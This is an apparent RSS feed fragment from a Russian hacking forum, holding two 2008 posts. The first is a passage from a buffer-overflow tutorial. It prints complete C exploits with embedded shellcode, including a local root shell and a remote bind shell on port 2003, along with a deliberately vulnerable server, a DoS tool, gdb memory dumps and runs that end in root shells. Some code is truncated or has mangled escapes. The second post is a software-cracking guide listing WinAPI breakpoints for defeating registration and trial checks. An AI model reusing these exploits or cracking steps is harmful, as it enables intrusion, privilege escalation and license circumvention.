процесс переполнения, а далее нам останется только осуществить все на практике. И мы уже будем на коне! Итак, поехали...&lt;br /&gt;Процесс переполнения происходит следующим образом:&lt;br /&gt;Вы определяете размер буфера и его крайний край :) (т.е. значение при котором регистр ebp затрется). Далее. Подготавливаете &amp;quot;мусорный буфер&amp;quot;. Мусорный буфер - это данные, которые просто заполнят стек ненужной информацией для переполнения буфера. Далее Вы наглядно это увидите. Потом мы копируем шеллкод в буфер. О том, что такое шеллкод я Вам сейчас поведаю. Шеллкод - это некий код, переведенный в машинные инструкции. Почему именно &amp;quot;шеллкод&amp;quot;, так это, потому что часто после его исполнения на компьютере предоставляется доступ к оболочке Unix (т.е. к shell-оболочке). Шеллкод может быть локальным и удаленным.&lt;br /&gt;Локальный шеллкод - это код для локальных программ, которые исполняются на локальной машите. Т.е. пользователь работает за компьютером, в котором имеется уязвимая программа. После эксплуатации, которой, пользователю сразу представятся права уязвимой программы. Т.е. допустим, программа запущена с правами супер-пользователя (root), а у пользователя допустим права games (игровые). Когда пользователь (атакующий) успешно проэксплуатирует программу, у него появятся права супер-пользователя в локальной машине.&lt;br /&gt;Удаленный шеллкод - это код для удаленных демонов (программ серверов). Т.е. например Вы обнаружили уязвимость в каком либо сервере. При подключении на который, передается длинная строка, а далее сервер завершает работу с ошибкой переполнения буфера. В данном случае пользователь не имеет прав на удаленной машине. Поэтому, написав эксплоит, который бы переполнял буфер и исполнял удаленный шеллкод с правами запущенного сервера. Часто удаленные шеллкоды после исполнения открывают на удаленной машине порт, после подключения на который, предоставляется командная строка (шелл) с правами запущенного сервера.&lt;br /&gt;Итак, с шеллкодом мы разобрались. Двигаемся далее. После копирования шеллкода в буфер, мы должны указать адрес нашего шеллкода, чтобы после переполнения, уязвимая программа обращалась на инструкцию заданную в шеллкоде. То бишь на инструкцию появления командной строки. Если все это представить в уме, то это примерно высветится так:&lt;br /&gt;стек&lt;br /&gt;||&lt;br /&gt;|| Данные (esp)&lt;br /&gt;||происходит переполнение, и адрес eip указывает на шеллкод&lt;br /&gt;~shellpre~&lt;br /&gt;0xbffff550: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff560: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff570: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff580: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff590: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff5a0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff5b0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff5f0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff600: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff610: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff620: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff640: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff650: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff660: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff670: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff680: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff690: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff6a0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff6b0: 0x41414141 0x41414141 0x41414100 0x41414141&lt;br /&gt;---Type to continue, or q to quit---&lt;br /&gt;0xbffff6c0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff6f0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;(gdb)&lt;br /&gt;Внимание!!! В вашей системе может быть по-другому. Итак, что мы видим. А видим мы следующее. Слева у нас как раз те адреса возврата на данные, которые расположены справа. То бишь на данные символов &amp;quot;A&amp;quot;. Из этого может следовать, что после переполнения наша уязвимая утилита обращается по одному из этих адресов, в которых имеется значение &amp;quot;A&amp;quot;. На ум сразу приходит, что после того как шеллкод будет расположен, он успешно должен исполниться, после того как мы успешно засунем адрес возврата на наш код.&lt;br /&gt;Итак, пора всю нашу занудную теорию перенести в практические действия. Сейчас я приведу код эксплуататора для нашей утилиты, и мы подробно разберем его. В качестве адреса я взял один из вышеприведенных адресов, значение у которого 0x41414141.&lt;br /&gt;[================================pre#2 ex_util.c=============================]&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;char shellpre[] =&lt;br /&gt;&amp;quot;x31xc0x31xdbxb0x17xcdx80&amp;quot;&lt;br /&gt;&amp;quot;x31xc0x50x68x2fx2fx73x68&amp;quot;&lt;br /&gt;&amp;quot;x68x2fx62x69x6ex89xe3x50&amp;quot;&lt;br /&gt;&amp;quot;x53x89xe1x99xb0x0bxcdx80&amp;quot;;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;long RET;&lt;br /&gt;int i;&lt;br /&gt;char buf[1000];&lt;br /&gt;char *p;&lt;br /&gt;RET = 0xbffff660; // адрес в Вашей системе может быть другой.&lt;br /&gt;p = buf;&lt;br /&gt;memset(buf, 0x41, 450+1-strlen(shellpre)); // тот самый &amp;quot;мусор&amp;quot; :)&lt;br /&gt;sprintf(buf+450+1-strlen(shellpre), &amp;quot;%s&amp;quot;, shellpre);&lt;br /&gt;// заполняем шеллкодом после &amp;quot;мусора&amp;quot;&lt;br /&gt;for ( i = 268; i&lt;br /&gt;Core was generated by `AAAA&#039;.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;warning: current_sos: Can&#039;t read pathname for load map: Input/output error&lt;br /&gt;Reading symbols from /lib/tls/libc.so.6...done.&lt;br /&gt;Loaded symbols for /lib/tls/libc.so.6&lt;br /&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;#0 0x41414141 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;Вот. Возглянем на регистр ESP для того чтобы вычеслить адрес возврата на шеллкод.&lt;br /&gt;(gdb) x/100x $esp&lt;br /&gt;0xbffff1c0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff1d0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff1e0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff1f0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff200: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff240: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;---Type to continue, or q to quit---&lt;br /&gt;0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;(gdb)&lt;br /&gt;Так... Пора писать эксплоит. По сути, он ничем не отличается от предыдушего, только функциями.&lt;br /&gt;[================================pre#5 ex_env.c======================]&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;char shellpre[] =&lt;br /&gt;&amp;quot;x31xc0x31xdbxb0x17xcdx80&amp;quot;&lt;br /&gt;&amp;quot;x31xc0x50x68x2fx2fx73x68&amp;quot;&lt;br /&gt;&amp;quot;x68x2fx62x69x6ex89xe3x50&amp;quot;&lt;br /&gt;&amp;quot;x53x89xe1x99xb0x0bxcdx80&amp;quot;;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;long RET;&lt;br /&gt;int i;&lt;br /&gt;char buf[1000];&lt;br /&gt;char *p;&lt;br /&gt;RET = 0xbffff310; // адрес в Вашей системе может быть другой.&lt;br /&gt;p = buf;&lt;br /&gt;memset(buf, 0x41, 1000+1-strlen(shellpre));&lt;br /&gt;sprintf(buf+1000+1-strlen(shellpre), &amp;quot;%s&amp;quot;, shellpre);&lt;br /&gt;for ( i = 0; i &amp;lt;= 500; i+= 4 )&lt;br /&gt;*(long*)(p+i) = RET;&lt;br /&gt;setenv(&amp;quot;SOMEDATA&amp;quot;, buf, 1);&lt;br /&gt;execl(&amp;quot;env&amp;quot;, &amp;quot;env&amp;quot; , buf, NULL);&lt;br /&gt;}&lt;br /&gt;[==================================pre#5 ex_env.c=====================]&lt;br /&gt;Ну, я думаю, ничего сложного нет, чтобы разобраться с этим кодом. Скажу лишь то, что т.к. адрес буфера уязвимой программы маленький, я расположил адрес в диапазоне от 0 до 500. Он все равно правильно будет расположен. Так теперь давайте откомпилируем эксплоит и запустим.&lt;br /&gt;[root@localhost boft]# gcc ex_env.c -o ex_env&lt;br /&gt;[root@localhost boft]# ./ex_env&lt;br /&gt;sh-3.00# exit&lt;br /&gt;exit&lt;br /&gt;[root@localhost boft]#&lt;br /&gt;Вот и все, что требовалось доказать :). Переходим к удаленному переполнению буфера.&lt;br /&gt;УДАЛЕННОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА.&lt;br /&gt;Я думаю, многие видели в security рассылках сообщение об очередной ошибке в каком-либо демоне. И в advisory написано, например, что тип атаки является &amp;quot;Удаленным&amp;quot; (Remote). Вначале статьи мы описали принцип локального переполнения. Сейчас я хочу показать Вам пример удаленного переполнения. Мы напишем уязвимый демон. А далее напишем для него эксплоит. Итак, рассмотрим пример уязвимого сервера.&lt;br /&gt;[================================pre#6 vsrv.c=======================]&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;#define BUFFER_SIZE 45&lt;br /&gt;#define NAME_SIZE 2048&lt;br /&gt;int handling_client(int c) {&lt;br /&gt;char buffer[BUFFER_SIZE], name[NAME_SIZE];&lt;br /&gt;int bytes;&lt;br /&gt;read(c, name, strlen(name), 0);&lt;br /&gt;recv(c, name, sizeof(name), 0);&lt;br /&gt;sprintf(buffer, name);&lt;br /&gt;send(c, buffer, strlen(buffer), 0);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;int main(int argc, char *argv[]) {&lt;br /&gt;int Sock, con, client_size;&lt;br /&gt;struct sockaddr_in srv, cli;&lt;br /&gt;if (argc != 2) {&lt;br /&gt;fprintf(stderr, &amp;quot;usage: %s port &amp;quot;, argv[0]);&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;Sock = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;srv.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt;srv.sin_port = htons( (unsigned short int) atol(argv[1]));&lt;br /&gt;srv.sin_family = AF_INET;&lt;br /&gt;bind(Sock, &amp;amp;srv, sizeof(srv));&lt;br /&gt;listen(Sock, 3);&lt;br /&gt;for( ; ; ) { - (уберите пробелы между ( ; ; ) )&lt;br /&gt;con = accept(Sock, &amp;amp;cli, &amp;amp;client_size);&lt;br /&gt;if (handling_client(con) == -1)&lt;br /&gt;fprintf(stderr, &amp;quot;%s: handling() failed&amp;quot;, argv[0]);&lt;br /&gt;close(con);&lt;br /&gt;}&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;[===============================pre#6 vsrv.c=======================]&lt;br /&gt;Итак, выше приведен листинг простенького сервера. Давайте откомпилируем его и попытаемся запустить.&lt;br /&gt;[root@localhost boft]# gcc vsrv.c -o vsrv&lt;br /&gt;vsrv.c: In function `main&#039;:&lt;br /&gt;vsrv.c:35: warning: passing arg 2 of `bind&#039; from incompatible pointer type&lt;br /&gt;vsrv.c:40: warning: passing arg 2 of `accept&#039; from incompatible pointer type&lt;br /&gt;[root@localhost boft]# ./vsrv&lt;br /&gt;usage: ./vsrv port&lt;br /&gt;[root@localhost boft]# ./vsrv 2278&lt;br /&gt;Демон слушает 2278 порт. Попробуем соединиться с этим портом.&lt;br /&gt;[root@localhost boft]# telnet 127.0.0.1 2278&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to localhost (127.0.0.1).&lt;br /&gt;Escape character is &#039;^]&#039;.&lt;br /&gt;Работает отлично. Я думаю, Вы уже заметили ошибку переполнения в сервере. Т.е. если серверу передать слишком длинную строку, то он завершится с ошибкой. Давайте рассмотрим пример программу, которую в простонародье принято считать DOS-утилита.&lt;br /&gt;[=============================pre#7 vsrv_dos.c==========================]&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;int i, sock, count;&lt;br /&gt;char buf[4096];&lt;br /&gt;struct sockaddr_in tgt;&lt;br /&gt;if (argc &amp;lt; 3) { printf(&amp;quot;usage : dos &amp;quot;);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;count = atoi(argv[3]);&lt;br /&gt;tgt.sin_family = AF_INET;&lt;br /&gt;tgt.sin_port = htons(atoi(argv[2]));&lt;br /&gt;tgt.sin_addr.s_addr = inet_addr(argv[1]);&lt;br /&gt;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);&lt;br /&gt;for (i = 0; i &amp;lt; count; i++) buf[i] = &#039;A&#039;;&lt;br /&gt;connect(sock, (struct sockaddr *)&amp;amp;tgt, sizeof(tgt));&lt;br /&gt;printf(&amp;quot;sending... buf = %s &amp;quot;, buf);&lt;br /&gt;send(sock, buf, sizeof(buf), 0);&lt;br /&gt;close(sock);&lt;br /&gt;}&lt;br /&gt;[========================pre#7 vsrv_dos.c=============================]&lt;br /&gt;Давайте испробуем программу. Не закрывайте сервер.&lt;br /&gt;[root@localhost boft]# gcc vsrv_dos.c -o dos&lt;br /&gt;[root@localhost boft]# ./dos&lt;br /&gt;usage : dos&lt;br /&gt;[root@localhost boft]# ./dos 127.0.0.1 2278 1000&lt;br /&gt;sending... buf =AAAAA....&lt;br /&gt;[root@localhost boft]#&lt;br /&gt;Взглянем на окно сервера.&lt;br /&gt;[root@localhost boft]# ./vsrv 2278&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;[root@localhost boft]#&lt;br /&gt;Вот и переполнение! Взглянем на значение регистра ESP.&lt;br /&gt;[root@localhost boft]# gdb vsrv -core core.3390&lt;br /&gt;GNU gdb 6.0-2mdk (Mandrake Linux)&lt;br /&gt;Core was generated by `AAAAAAAAAAAA&#039;.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;warning: current_sos: Can&#039;t read pathname for load map: Input/output error&lt;br /&gt;Reading symbols from /lib/tls/libc.so.6...done.&lt;br /&gt;Loaded symbols for /lib/tls/libc.so.6&lt;br /&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;#0 0x41414141 in ?? ()&lt;br /&gt;(gdb) x/200x $esp&lt;br /&gt;0xbffff8e0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff8f0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff900: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff910: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff920: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff930: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff950: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff9e0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffff9f0: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141&lt;br /&gt;(gdb)&lt;br /&gt;Так вот. Произошло настоящее переполнение. Хочу предупредить, что для того чтобы правильно выбрать адрес на шеллкод не стоит брать адреса верхние и нижние. Нужно взять адреса средние. Настало время написать эксплоит.&lt;br /&gt;[========================pre#8 exp_vsrv.c==============================]&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;static char shellpre[]= // Bind 2003 PORT xCrZx shellpre&lt;br /&gt;&amp;quot;x31xc0x89xc3xb0x02xcdx80x38xc3x74x05x8dx43x01xcdx80&amp;quot;&lt;br /&gt;&amp;quot;x31xc0x89x45x10x40x89xc3x89x45x0cx40x89x45x08x8dx4d&amp;quot;&lt;br /&gt;&amp;quot;x08xb0x66xcdx80x89x45x08x43x66x89x5dx14x66xc7x45x16&amp;quot;&lt;br /&gt;&amp;quot;x07xd3x31xd2x89x55x18x8dx55x14x89x55x0cxc6x45x10x10&amp;quot;&lt;br /&gt;&amp;quot;xb0x66xcdx80x40x89x45x0cx43x43xb0x66xcdx80x43x89x45&amp;quot;&lt;br /&gt;&amp;quot;x0cx89x45x10xb0x66xcdx80x89xc3x31xc9xb0x3fxcdx80x41&amp;quot;&lt;br /&gt;&amp;quot;x80xf9x03x75xf6x31xd2x52x68x6ex2fx73x68x68x2fx2fx62&amp;quot;&lt;br /&gt;&amp;quot;x69x89xe3x52x53x89xe1xb0x0bxcdx80&amp;quot;;&lt;br /&gt;#define RET 0xbffff9d0 // mandrake 10.0 OR.&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;int s, i, size;&lt;br /&gt;struct sockaddr_in remote;&lt;br /&gt;char buf[1000];&lt;br /&gt;char *p;&lt;br /&gt;if ( argc &amp;lt; 3 ) { printf(&amp;quot;usage: %s &amp;quot;, argv[0]); exit(0); }&lt;br /&gt;memset(buf, 0x90, 1000-1-strlen(shellpre));&lt;br /&gt;sprintf(buf+1000-1-strlen(shellpre), &amp;quot;%s&amp;quot;, shellpre);&lt;br /&gt;p=buf;&lt;br /&gt;for ( i = 0; i &amp;lt;= 500; i += 4 )&lt;br /&gt;*(long*)(p+i) = RET;&lt;br /&gt;s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);&lt;br /&gt;remote.sin_family = AF_INET;&lt;br /&gt;remote.sin_port = htons(atoi(argv[2]));&lt;br /&gt;remote.sin_addr.s_addr = inet_addr(argv[1]);&lt;br /&gt;connect(s, (struct sockaddr *)&amp;amp;remote, sizeof(remote));&lt;br /&gt;send(s, buf, sizeof(buf),0);&lt;br /&gt;close(s);&lt;br /&gt;}&lt;br /&gt;[==============================pre#8 exp_vsrv.c==========================]&lt;br /&gt;Давайте протестируем эксплоит.&lt;br /&gt;[root@localhost boft]# gcc exp_vsrv.c -o exp&lt;br /&gt;[root@localhost boft]# ./exp&lt;br /&gt;usage: ./exp&lt;br /&gt;[root@localhost boft]# ./exp 127.0.0.1 2278&lt;br /&gt;[root@localhost boft]# telnet 127.0.0.1 2003&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to localhost (127.0.0.1).&lt;br /&gt;Escape character is &#039;^]&#039;.&lt;br /&gt;Опа... Работает! Вот в принципе и все. Вообще переполнение удаленное и локальное мало чем отличается.&lt;br /&gt;ЗАКЛЮЧЕНИЕ.&lt;br /&gt;В этом материале я постарался рассказать очень подробно тему переполнения. Я думаю, она очень понятна даже для человека, который вообще не знал об этой уязвимости. В заключении хотелось бы также отметить то, что я разработал утилиту, которая генерирует эксплоит автоматически. Скачать ее вы можете на сайте &lt;a href=&quot;http://unl0ck.info&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://unl0ck.info&lt;/a&gt;. На данный момент это версия 0.3. В будущем планируется добавить новые возможности.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;Эта статья предназначена только для ознакомительных целей. Ни в коем случае не реализовывайте на практике то, что Вы прочитаете, так как Вы несете полную ответственность за свои поступки в соответствии с действующим законодательством. Я не отвечаю за достоверность информации и не несу ответственности за Ваши поступки!&amp;#160; Все что вы делаете, вы делаете на свой страх и риск!!!&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (ZEUS)</author>
			<pubDate>Thu, 24 Jan 2008 18:52:18 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=223#p223</guid>
		</item>
		<item>
			<title>Мануал крекеру</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=222#p222</link>
			<description>&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Мануал крекеру&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Немало людей начинали познавать хакинг с крякинга.&lt;br /&gt;Но это сложно делать, не зная с чего начать...&lt;br /&gt;Поехали! Для работы требуется&lt;br /&gt;1. Клоподав aka Debuger, я бы посоветовал - SoftIce + FrogIce (tула для скрытия SoftIce&#039;a).&lt;br /&gt;2. Сама программа.&lt;br /&gt;3. Терпение.&lt;br /&gt;4. Знать: что требуется отключать (счетчик запусков, проверку даты, e.t.c.)&lt;/p&gt;
						&lt;p&gt;Высказывание &amp;quot;хакерство требует индивидуального подхода и общих методов нет&amp;quot; - от части - ложь.&lt;/p&gt;
						&lt;p&gt;А вот и WinAPI функции, перехват которых, может пригодится при креке:&lt;/p&gt;
						&lt;p&gt;Чтение и Запись Файлов&lt;br /&gt;-----------------------&lt;br /&gt;универсальные обращения чтения - записи файл.&lt;br /&gt;ReadFile&lt;br /&gt;WriteFile&lt;br /&gt;Позиционирование указателя в файле:&lt;/p&gt;
						&lt;p&gt;SetFilePointer&lt;/p&gt;
						&lt;p&gt;GetSystemDirectory&lt;br /&gt;GetSystemDirectoryA&lt;/p&gt;
						&lt;p&gt;Наиболее общие обращения чтения - записи из / в *. ini файл&lt;br /&gt;Или файл подобного формата.&lt;br /&gt;Для 16-разрядных приложений:&lt;br /&gt;GetPrivateProfileString&lt;br /&gt;GetPrivateProfileInt&lt;br /&gt;WritePrivateProfileString&lt;br /&gt;WritePrivateProfileInt&lt;br /&gt;Для 32-разрядных приложений:&lt;br /&gt;GetPrivateProfileStringA&lt;br /&gt;GetPrivateProfileIntA&lt;br /&gt;WritePrivateProfileStringA&lt;br /&gt;WritePrivateProfileIntA&lt;/p&gt;
						&lt;p&gt;Системный реестр&lt;br /&gt;------------&lt;br /&gt;Создайть или удалить новый ключ в системном реестре:&lt;br /&gt;RegCreateKey&lt;br /&gt;RegDeleteKey&lt;br /&gt;RegCreateKeyA&lt;br /&gt;RegDeleteKeyA&lt;br /&gt;Читайте значение текущего ключa из&lt;br /&gt;системного реестра:&lt;br /&gt;RegQueryValue&lt;br /&gt;RegQueryValueA&lt;br /&gt;Открыть или закрыть ключ системного реестра:&lt;br /&gt;RegCloseKey&lt;br /&gt;RegOpenKey&lt;br /&gt;RegCloseKeyA&lt;br /&gt;RegOpenKeyA&lt;/p&gt;
						&lt;p&gt;Диалоговые окна&lt;br /&gt;------------&lt;br /&gt;Получить текстовое или целочисленное значение из редактирования диалогового окна:&lt;br /&gt;GetWindowText&lt;br /&gt;GetDlgItemText&lt;br /&gt;GetWindowTextA&lt;br /&gt;GetDlgItemTextA&lt;br /&gt;GetDlgItemInt&lt;/p&gt;
						&lt;p&gt;Oкна, которые oбычно говорят &amp;quot;недопустимая регистрация&amp;quot;:&lt;br /&gt;MessageBox&lt;br /&gt;MessageBoxA&lt;br /&gt;MessageBoxExA&lt;br /&gt;MessageBeep&lt;/p&gt;
						&lt;p&gt;И другие способы отображать текст ...&lt;br /&gt;SENDMESSAGE&lt;br /&gt;WSPRINTF&lt;/p&gt;
						&lt;p&gt;Время и Дата&lt;br /&gt;-----------&lt;br /&gt;Получение времени и даты:&lt;br /&gt;GetSystemTime&lt;br /&gt;GetLocalTime&lt;br /&gt;SystemTimeToFileTime&lt;/p&gt;
						&lt;p&gt;Создание окна&lt;br /&gt;---------------------&lt;br /&gt;Createwindow&lt;br /&gt;Createwindowexa&lt;br /&gt;Showwindow&lt;/p&gt;
						&lt;p&gt;Обращения к CD-ROM:&lt;br /&gt;----------------&lt;br /&gt;GetDriveType (если eax = 5 это - проверка cdrom)&lt;br /&gt;GetDriveTypeA&lt;br /&gt;GetDriveType коды Функции Возврата:&lt;br /&gt;Значение Значения&lt;br /&gt;0 Диск не может быть определенн&lt;br /&gt;1 Корневой директории не существует&lt;br /&gt;2 Диск Removeable&lt;br /&gt;3 Жесткий диск (HardDrive)&lt;br /&gt;4 Удаленных Диск (Сеть)&lt;br /&gt;5 Диск Cd-Rom&lt;br /&gt;6 RamDisk&lt;/p&gt;
						&lt;p&gt;GetLogicalDrives&lt;br /&gt;GetLogicalDrivesA&lt;br /&gt;GetLogicalDriveStrings&lt;br /&gt;GetLogicalDriveStringsA&lt;/p&gt;
						&lt;p&gt;Окно Числовые вводы&lt;br /&gt;----------------------------&lt;br /&gt;GETWINDOWWORD&lt;br /&gt;GETWINDOWLONG&lt;/p&gt;
						&lt;p&gt;Некоторые другие хорошие контрольные точки из ORC&lt;br /&gt;--------------------------------------- --------&lt;br /&gt;BOZOSLIVEHERE&lt;br /&gt;HMEMCPY&lt;br /&gt;GLOBALGETATOMNAME&lt;br /&gt;GetDriveTypeA - с компакта идём или нет&lt;br /&gt;GetFileAttributes - read only или нет&lt;br /&gt;GetVolumeInformation - для проверки типа файловой системы и метки диска&lt;br /&gt;GetDiskFreeSpace - ноль или нет&lt;br /&gt;Более экзотическими являются:&lt;br /&gt;GetCurrentDirectoryA - откуда&lt;br /&gt;GetFullPathName - мы запускаемся ?&lt;br /&gt;IsDriveNetwork&lt;br /&gt;IsDriveRemovable&lt;br /&gt;IsDriveLocalHard&lt;br /&gt;GetFileSize - если вам вздумалось сделать интро покороче&lt;/p&gt;
						&lt;p&gt;А брякпоинт можно поставить так:&lt;br /&gt;--------------------------------------- --------------------&lt;br /&gt;BMSG xxxx WM_GETTEXT (получение паролей)&lt;br /&gt;BMSG xxxx WM_COMMAND ( кнопка OK)&lt;br /&gt;Xxxx - конечно же - значение hwnd.&lt;br /&gt;Важная информация:&lt;br /&gt;Если вы хотите поставить бряк на wm_command, вы должны знать, что&lt;br /&gt;hwnd кнопки - 0324&lt;br /&gt;Hwnd окна - 0129&lt;/p&gt;
						&lt;p&gt;Чтобы найти нужную кнопку, используйте значение hwnd окна!&lt;br /&gt;Так для примера, чтобы найти нашу кнопку , мы сделаем так:&lt;br /&gt;BMSG 0129 WM_COMMAND&lt;br /&gt;Для просмотра хендлов форточек используйте функцию SoftIce&#039;a - hwnd&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;Эта статья предназначена только для ознакомительных целей. Ни в коем случае не реализовывайте на практике то, что Вы прочитаете, так как Вы несете полную ответственность за свои поступки в соответствии с действующим законодательством. Я не отвечаю за достоверность информации и не несу ответственности за Ваши поступки!&amp;#160; Все что вы делаете, вы делаете на свой страх и риск!!!&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (ZEUS)</author>
			<pubDate>Thu, 24 Jan 2008 18:48:01 +0300</pubDate>
